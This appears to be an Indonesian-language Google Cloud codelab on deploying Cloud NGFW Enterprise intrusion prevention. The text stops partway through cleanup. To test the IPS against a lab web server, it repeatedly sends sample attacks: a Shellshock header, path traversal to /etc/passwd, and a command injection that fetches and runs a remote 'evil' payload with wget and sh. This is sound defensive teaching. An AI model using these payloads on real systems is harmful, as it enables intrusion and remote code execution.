Cloud NGFW Enterprise - Intrusion Prevention Service (tanpa TLS Inspection)

1. Pengantar

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall adalah layanan firewall yang terdistribusi sepenuhnya dengan kemampuan perlindungan tingkat lanjut, segmentasi mikro, dan cakupan yang menyeluruh untuk melindungi workload Google Cloud Anda dari serangan internal dan eksternal.

Cloud NGFW memiliki manfaat berikut:

  • Layanan firewall terdistribusi: Cloud NGFW menyediakan penerapan berbasis host yang stateful dan terdistribusi sepenuhnya pada setiap workload untuk mewujudkan arsitektur keamanan zero-trust.
  • Penyederhanaan konfigurasi dan deployment: Cloud NGFW menerapkan kebijakan firewall hierarkis dan jaringan yang dapat ditambahkan ke node hierarki resource. Kebijakan ini memberikan pengalaman firewall yang konsisten di seluruh hierarki resource Google Cloud.
  • Kontrol terperinci dan segmentasi mikro: Kombinasi kebijakan firewall dan Tag yang diatur Pengelolaan Akses dan Identitas (IAM) memberikan kontrol yang baik untuk traffic utara-selatan dan timur-barat, hingga ke satu VM, di seluruh jaringan dan organisasi Virtual Private Cloud (VPC).

Cloud NGFW tersedia dalam tingkat berikut:

Cloud NGFW Enterprise

Cloud NGFW Enterprise menambahkan Intrusion Prevention Service (IPS), yakni kemampuan Lapisan 7, ke fabric Google Cloud Firewall yang terdistribusi. Pemeriksaan TLS didukung untuk memungkinkan pemeriksaan traffic terenkripsi TLS, tetapi berada di luar cakupan codelab ini (lihat Codelab Cloud NGFW Enterprise dengan TLS Inspection).

Kini Anda dapat men-deploy pemeriksaan Layer 7 Next Generation Firewall (NGFW) yang andal dengan kontrol terperinci, tanpa perlu mengubah arsitektur jaringan atau konfigurasi pemilihan rute Anda.

Untuk mengaktifkan dan men-deploy kontrol firewall Lapisan 7 dengan IPS, Anda harus melakukan tugas berikut:

  • Buat sekumpulan endpoint firewall zona yang dikelola Google Cloud.
  • Jika ingin, buat Kebijakan Inspeksi TLS (tidak dibahas dalam codelab ini)
  • Jika ingin, buat Trust Config (tidak dibahas dalam codelab ini)
  • Kaitkan endpoint ini dengan jaringan Virtual Private Cloud (VPC) tempat Anda memerlukan layanan Cloud NGFW Enterprise.
  • Buat perubahan sederhana pada kebijakan firewall dan aturan firewall yang ada guna menentukan profil pencegahan ancaman untuk berbagai jalur traffic.

Kebijakan firewall jaringan

Kebijakan firewall jaringan berfungsi sebagai penampung untuk aturan firewall. Aturan yang ditentukan dalam kebijakan firewall jaringan tidak diterapkan di mana pun hingga kebijakan tersebut dikaitkan dengan jaringan VPC. Setiap jaringan VPC dapat memiliki satu kebijakan firewall jaringan yang terkait dengannya. Kebijakan firewall jaringan mendukung Tag yang diatur IAM (atau hanya Tag) pada aturan firewall, yang menggantikan tag jaringan saat ini dan dapat digunakan untuk memberikan identitas ke workload.

Berbagi kebijakan firewall jaringan di seluruh jaringan dan integrasi dengan Tag yang diatur IAM sangat menyederhanakan konfigurasi dan pengelolaan firewall.

Dengan diperkenalkannya kebijakan firewall jaringan, kebijakan firewall Google Cloud kini terdiri dari komponen berikut:

  1. Kebijakan Firewall Hierarkis
  2. Aturan Firewall VPC
  3. Kebijakan Firewall Jaringan ( Global dan Regional)

Kebijakan firewall hierarkis didukung di node folder dan organisasi dalam hierarki resource, sedangkan aturan firewall VPC dan kebijakan firewall jaringan diterapkan di tingkat VPC. Perbedaan besar antara aturan firewall VPC dan kebijakan firewall jaringan adalah bahwa aturan firewall VPC hanya dapat diterapkan ke satu jaringan VPC, sedangkan kebijakan firewall jaringan dapat dikaitkan ke satu VPC atau grup VPC, di antara manfaat lainnya seperti update batch.

Terakhir, kita juga memiliki aturan firewall implisit yang disertakan dengan setiap jaringan VPC:

  • Aturan keluar yang tindakannya diizinkan, tujuannya adalah 0.0.0.0/0
  • Aturan masuk yang tindakannya ditolak, sumbernya adalah 0.0.0.0/0

Secara default, urutan penerapan ditampilkan dalam diagram berikut:

21b3bcabc469ffe.png

Perlu diperhatikan bahwa urutan penerapan antara aturan firewall VPC dan kebijakan firewall jaringan global dapat ditukar. Pelanggan dapat menentukan perintah penerapan kapan saja dengan perintah gcloud.

Tag yang diatur IAM

Tag baru yang terintegrasi dalam aturan kebijakan firewall jaringan adalah resource pasangan nilai kunci yang ditentukan di organisasi atau level project dalam hierarki resource Google Cloud. Tag tersebut berisi kontrol akses IAM, seperti namanya, yang menentukan siapa yang dapat melakukan apa pada tag. Izin IAM, misalnya, memungkinkan seseorang menentukan akun utama mana yang dapat menetapkan nilai ke tag dan akun utama mana yang dapat melampirkan tag ke resource. Setelah Tag diterapkan ke resource, aturan firewall jaringan dapat menggunakannya untuk mengizinkan dan menolak traffic.

Tag mematuhi model resource pewarisan Google Cloud, yang berarti tag dan nilainya diturunkan di seluruh hierarki dari induknya. Akibatnya, tag mungkin dibuat di satu tempat, lalu digunakan oleh folder dan project lain di seluruh hierarki resource. Buka halaman ini untuk mengetahui detail tentang tag dan pembatasan akses.

Tag tidak sama dengan tag jaringan. Yang disebut terakhir adalah string yang dapat ditambahkan ke instance Compute Engine; terhubung dengan instance dan menghilang saat instance dinonaktifkan. Aturan firewall VPC dapat mencakup tag jaringan, tetapi karena tidak dianggap sebagai resource cloud, aturan tersebut tidak tunduk pada kontrol akses IAM.

Perhatikan bahwa Tag dan Tag yang diatur IAM digunakan secara bergantian dalam dokumen ini.

Yang akan Anda bangun

Codelab ini memerlukan satu project dan kemampuan untuk membuat jaringan VPC dengan konektivitas publik, serta akan mendemonstrasikan bagaimana Cloud NGFW Enterprise dapat menyediakan fungsi IPS dengan:

  • Memeriksa aliran intra-VPC/subnet [Timur-Barat]
  • Memeriksa aliran masuk dari Internet [Utara-Selatan]

Aliran yang akan diperiksa akan dipilih menggunakan parameter pencocokan Cloud Firewall yang mencakup 5-tuple (IP sumber, IP tujuan, protokol, port sumber, port tujuan) dan Tag. TLS Inspection tidak disertakan dalam codelab ini.

52a0642ef8668ecf.png

Basis aturan kebijakan firewall jaringan akan serupa dengan tabel di bawah:

Prioritas

Arah

Target

Sumber

Tujuan

Tindakan

Jenis

100

Keluar

Quarantine_Tag

Semua

Semua

Tolak

Essentials

1000

Masuk

Server_Tag

Rentang Health Check

Semua

Izinkan

Essentials

2000

Masuk

Semua

Rentang Identity-Aware Proxy

Semua

Izinkan

Essentials

3000

Masuk

Semua

Geografis, GCTI

Semua

Tolak

Standar

4000

Keluar

Semua

Semua

Geografis, GCTI

Tolak

Standar

5000

Keluar

Semua

Semua

FQDN update sistem

Izinkan

Standar

6000

Masuk

Server_Tag

10.0.0.0/24

Semua

IPS

Enterprise

7.000

Masuk

Server_Tag

CloudNAT_IP

Semua

IPS

Enterprise

Yang akan Anda pelajari

Yang Anda butuhkan

  • Project Google Cloud
  • Pengetahuan dalam men-deploy instance dan mengonfigurasi komponen jaringan
  • Pengetahuan konfigurasi firewall VPC

2. Sebelum memulai

Membuat/memperbarui variabel

Codelab ini menggunakan $variables untuk membantu penerapan konfigurasi gcloud di Cloud Shell.

Di Cloud Shell, jalankan perintah di bawah dengan mengganti informasi dalam tanda kurung sesuai kebutuhan (lewati penyetelan project jika yang diinginkan sudah ditetapkan). Variabel yang berbeda digunakan untuk resource tingkat organisasi jika beberapa, mis. endpoint firewall diperlukan.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Mengaktifkan API

Aktifkan API jika Anda belum melakukannya:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Profil Keamanan Perusahaan NGFW dan Pembuatan Endpoint Cloud NGFW

Karena pembuatan Endpoint Cloud NGFW Enterprise memerlukan waktu sekitar 20 menit, endpoint akan dibuat terlebih dahulu dan penyiapan dasar dapat dilakukan secara paralel saat endpoint dibuat.

Buat Profil Keamanan dan Grup Profil Keamanan:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Output yang diharapkan:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Pastikan resource berhasil dibuat:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Output yang diharapkan:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Buat endpoint Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Jalankan perintah di bawah untuk mengonfirmasi bahwa endpoint sedang dibuat (STATUS: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Output yang diharapkan:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Proses pembuatan endpoint memerlukan waktu sekitar 20 menit. Lanjutkan ke bagian Penyiapan Dasar untuk membuat resource yang diperlukan secara paralel.

5. Penyiapan Dasar

Lanjutkan ke bagian berikut jika Anda ingin membuat resource dasar secara manual.

Jaringan dan subnet VPC

Jaringan VPC dan subnet

Buat subnet dan jaringan VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Buat Cloud Router dan gateway Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Santansi

Buat instance klien dan server web:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

P Tag tingkat program

Tetapkan izin tagAdmin dan/atau tagUser kepada pengguna jika diperlukan:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Buat kunci Tag level project dan nilai:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Mengikat tag ke instance:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Kebijakan firewall jaringan global

Buat kebijakan firewall jaringan global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Buat aturan Cloud Firewall Essential untuk menolak traffic dari instance yang dikarantina (dibuat sebagai contoh saja, tidak digunakan dalam codelab ini) dan mengizinkan traffic dari rentang health-check dan identity-aware proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Membuat aturan Standar Cloud Firewall untuk menolak traffic masuk dan keluar dari/ke negara yang diembargo, IP berbahaya yang diketahui, dan node keluar ToR; dan hanya mengizinkan traffic keluar ke FQDN tertentu untuk update sistem (dibuat sebagai contoh saja, tidak digunakan dalam codelab ini):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Buat aturan Cloud Firewall untuk mengizinkan traffic masuk ke timur-barat / intra-subnet dan utara-selatan / internet dari rentang tertentu (aturan ini akan diperbarui untuk mengaktifkan Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Kaitkan kebijakan firewall jaringan ke jaringan VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Load Balancer Jaringan TCP/UDP Eksternal

Cadangkan alamat IP eksternal serta buat grup instance dan uji respons:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Buat layanan backend dan aturan penerusan:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Asosiasi Endpoint Perusahaan Cloud NGFW

Tentukan ulang variabel lingkungan jika diperlukan.

Pastikan pembuatan Cloud Firewall Endpoint telah berhasil diselesaikan. Hanya lanjutkan setelah status ditampilkan sebagai ACTIVE (selama pembuatan, status yang diharapkan adalah CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Output yang diharapkan:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Kaitkan endpoint Cloud NGFW Enterprise ke jaringan VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Proses pengaitan memerlukan waktu sekitar 10 menit. Hanya lanjutkan setelah status ditampilkan sebagai ACTIVE (status yang diharapkan adalah CREATING selama proses pembuatan):

gcloud network-security firewall-endpoint-associations list

Output yang diharapkan:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Output yang diharapkan:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Aturan Inspeksi Perusahaan Cloud NGFW

Buka tab baru dan mulai koneksi SSH ke VM klien melalui IAP (Anda perlu menentukan variabel lagi di tab baru):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Tentukan variabel yang diperlukan dalam sesi SSH dan tetapkan variabel (pastikan nilainya benar):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

melakukan curl kedua IP untuk mengonfirmasi bahwa keduanya dapat dijangkau:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Hasil yang diharapkan untuk kedua permintaan curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Kirim contoh serangan ke IP server internal (traffic Timur-Barat / intra-VPC). Server web harus merespons semua permintaan, mengonfirmasi bahwa tidak ada pemeriksaan/pencegahan L7 yang diterapkan:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Kirim ulang contoh serangan ke IP server eksternal melalui Cloud NAT (traffic masuk Utara-Selatan), dan server web juga akan merespons semua permintaan:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Hasil yang diharapkan untuk IP publik dan pribadi:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Beralih kembali ke Cloud Shell dan perbarui aturan masuk yang ada untuk mengaktifkan pemeriksaan L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Secara opsional, jelaskan aturan firewall untuk memverifikasi bahwa keduanya berhasil diperbarui:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Output yang diharapkan:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Aturan 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Output yang diharapkan:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Beralih kembali ke VM klien dan kirim ulang contoh serangan ke IP server internal (pemeriksaan Timur-Barat / Intra-VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Kirim ulang contoh serangan ke IP server eksternal melalui Cloud NAT (pemeriksaan masuk Utara-Selatan):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Tidak ada respons yang diterima untuk serangan pertama sesuai output yang diharapkan di bawah ini, mengonfirmasi bahwa serangan dengan tingkat keparahan tinggi sekarang diblokir.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Buka Network Security > Ancaman di Cloud Console untuk memverifikasi log (Anda mungkin perlu me-refresh beberapa kali jika serangan belum ditampilkan).

daa535fcc34873aa.png

Pilih salah satu serangan dan klik "Lihat log audit" di sisi kanan (buka di tab baru untuk beralih kembali dengan mudah). Luaskan serangan untuk menampilkan detailnya:

5f97cdef79e42eff.pngS

Atau, ganti filter Log Explorer dengan kueri di bawah ini:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Entri log ancaman akan terlihat seperti di bawah ini:

5ea9581a7eb694c5.pngS

Paket yang ditangkap Cloud Firewall dapat diverifikasi menggunakan filter Log Explorer di bawah ini (berguna untuk memecahkan masalah):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Lanjutkan ke pemeriksaan traffic Internet (opsional) atau tutup sesi SSH dan lanjutkan ke bab berikutnya untuk mengetahui langkah-langkah pembersihan.

[Opsional] Pemeriksaan traffic internet

Seperti yang telah diverifikasi di bagian sebelumnya, sejauh ini alur yang diperiksa adalah intra-subnet/VPC (Timur-Barat) dan traffic masuk dari Internet (masuk Utara-Selatan). Cloud NGFW Enterprise juga dapat dikonfigurasi untuk memeriksa semua traffic internet (outcome North-South) dengan membuat aturan traffic keluar baru menggunakan Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Beralihlah kembali ke VM klien dan kirim ulang serangan dengan tingkat keparahan tinggi ke IP server eksternal:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Output yang diharapkan:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Beralihlah ke tab Ancaman di Cloud Console untuk memverifikasi log (Anda mungkin perlu memuat ulang beberapa kali). Serangan seharusnya dapat diidentifikasi dan dicatat lagi, tetapi sekarang IP sumbernya bersifat internal karena aturan traffic keluar dipicu terlebih dahulu:

36f8edf264dcddcd.pngS

Tutup sesi SSH, lalu lanjutkan ke bagian berikutnya untuk melakukan langkah-langkah pembersihan.

8. Langkah-langkah pembersihan

Pembersihan Komponen Cloud NGFW Enterprise

Cantumkan pengaitan Cloud NGFW Enterprise yang ada:

gcloud network-security firewall-endpoint-associations list

Hapus pengaitan Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Cantumkan endpoint Cloud NGFW Enterprise yang sudah ada:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Hapus endpoint Cloud NGFW Enterprise, yang dapat memerlukan waktu sekitar 20 menit:

